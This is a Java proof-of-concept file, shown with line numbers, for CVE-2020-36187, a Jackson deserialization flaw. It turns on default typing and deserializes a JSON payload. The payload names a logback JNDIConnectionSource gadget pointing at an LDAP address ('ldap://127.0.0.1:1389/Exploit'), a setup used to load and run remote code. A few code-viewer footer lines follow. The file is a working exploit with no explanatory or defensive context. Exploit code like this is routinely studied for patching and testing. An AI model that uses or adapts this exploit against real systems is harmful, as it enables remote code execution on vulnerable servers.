| 5 | import java.io.IOException; |
| 6 | |
| 7 | public class CVE_2020_36187 { |
| 8 | public static void main(String[] args) throws IOException { |
| 9 | ObjectMapper mapper = new ObjectMapper(); |
| 10 | mapper.enableDefaultTyping(); |
| 11 | String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]"; |
| 12 | Object o = mapper.readValue(payload, Object.class); |
| 13 | mapper.writeValueAsString(o); |
| 14 | } |
| 15 | } |
nothing calls this directly
no outgoing calls
no test coverage detected